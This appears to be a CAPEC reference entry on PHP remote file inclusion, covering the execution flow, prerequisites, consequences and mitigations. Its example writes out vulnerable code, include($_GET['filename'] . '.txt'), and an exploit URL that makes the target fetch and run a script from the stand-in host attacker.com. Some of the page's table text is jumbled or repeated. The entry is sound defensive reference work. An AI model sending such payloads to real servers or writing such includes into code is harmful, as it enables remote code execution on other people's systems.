In this pattern the adversary is able to load and execute arbitrary code remotely available from the application. This is usually accomplished through an insecurely configured PHP runtime environment and an improperly sanitized "include" or "require" call, which the user can then control to point to any web-accessible file. This allows adversaries to hijack the targeted application and force it to execute their own instructions.
Likelihood Of Attack
High
Typical Severity
High
Relationships
This table shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf and ParentOf, and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.
Nature
Type
ID
Name
ChildOf
Standard Attack Pattern - A standard level attack pattern in CAPEC is focused on a specific methodology or technique used in an attack. It is often seen as a singular piece of a fully executed attack. A standard attack pattern is meant to provide sufficient details to understand the specific technique and how it attempts to accomplish a desired goal. A standard level attack pattern is a specific type of a more abstract meta level attack pattern.
Survey application: Using a browser or an automated tool, an adversary follows all public links on a web site. They record all the links they find.
Techniques
Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.
Experiment
Attempt variations on input parameters: The attack variants make use of a remotely available PHP script that generates a uniquely identifiable output when executed on the target application server. Possibly using an automated tool, an adversary requests variations on the inputs they surveyed before. They send parameters that include variations of payloads which include a reference to the remote PHP script. They record all the responses from the server that include the output of the execution of remote PHP script.
Techniques
Use a list of probe strings to inject in parameters of known URLs. The probe strings are variants of PHP remote file inclusion payloads which include a reference to the adversary controlled remote PHP script.
Use a proxy tool to record results of manual input of remote file inclusion probes in known URLs.
Exploit
Run arbitrary server-side code: As the adversary succeeds in exploiting the vulnerability, they are able to execute server-side code within the application. The malicious code has virtual access to the same resources as the targeted application. Note that the adversary might include shell code in their script and execute commands on the server under the same privileges as the PHP runtime is running with.
Techniques
Develop malicious PHP script that is injected through vectors identified during the Experiment Phase and executed by the application server to execute a custom PHP script.
Prerequisites
Target application server must allow remote files to be included in the "require", "include", etc. PHP directives
The adversary must have the ability to make HTTP requests to the target web application.
Skills Required
[Level: Low]
To inject the malicious payload in a web page
[Level: Medium]
To bypass filters in the application
Resources Required
None: No specialized resources are required to execute this type of attack.
Consequences
This table specifies different individual consequences associated with the attack pattern. The Scope identifies the security property that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in their attack. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a pattern will be used to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
Scope
Impact
Likelihood
Integrity
Modify Data
Confidentiality
Read Data
Authorization
Execute Unauthorized Commands
Accountability
Authentication
Authorization
Non-Repudiation
Gain Privileges
Access Control
Authorization
Bypass Protection Mechanism
Mitigations
Implementation: Perform input validation for all remote content, including remote and user-generated content
Implementation: Only allow known files to be included (allowlist)
Implementation: Make use of indirect references passed in URL parameters instead of file names
Configuration: Ensure that remote scripts cannot be include in the "include" or "require" PHP directives
Example Instances
The adversary controls a PHP script on a server "http://attacker.com/rfi.txt"
The .txt extension is given so that the script doesn't get executed by the attacker.com server, and it will be downloaded as text. The target application is vulnerable to PHP remote file inclusion as following: include($_GET['filename'] . '.txt')
The adversary creates an HTTP request that passes their own script in the include: http://example.com/file.php?filename=http://attacker.com/rfi with the concatenation of the ".txt" prefix, the PHP runtime download the attack's script and the content of the script gets executed in the same context as the rest of the original script.
Related Weaknesses
A Related Weakness relationship associates a weakness with this attack pattern. Each association implies a weakness that must exist for a given attack to be successful. If multiple weaknesses are associated with the attack pattern, then any of the weaknesses (but not necessarily all) may be present for the attack to be successful. Each related weakness is identified by a CWE identifier.
[REF-60] Shaun Clowes. "A Study In Scarlet, Exploiting Common Vulnerabilities in PHP Applications". Blackhat Briefings Asia 2001. <http://securereality.com.au/studyinscarlett/>.
Description
This table shows the other attack patterns and high level categories that are related to this attack pattern. These relationships are defined as ChildOf and ParentOf, and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as CanFollow, PeerOf, and CanAlsoBe are defined to show similar attack patterns that the user may want to explore.
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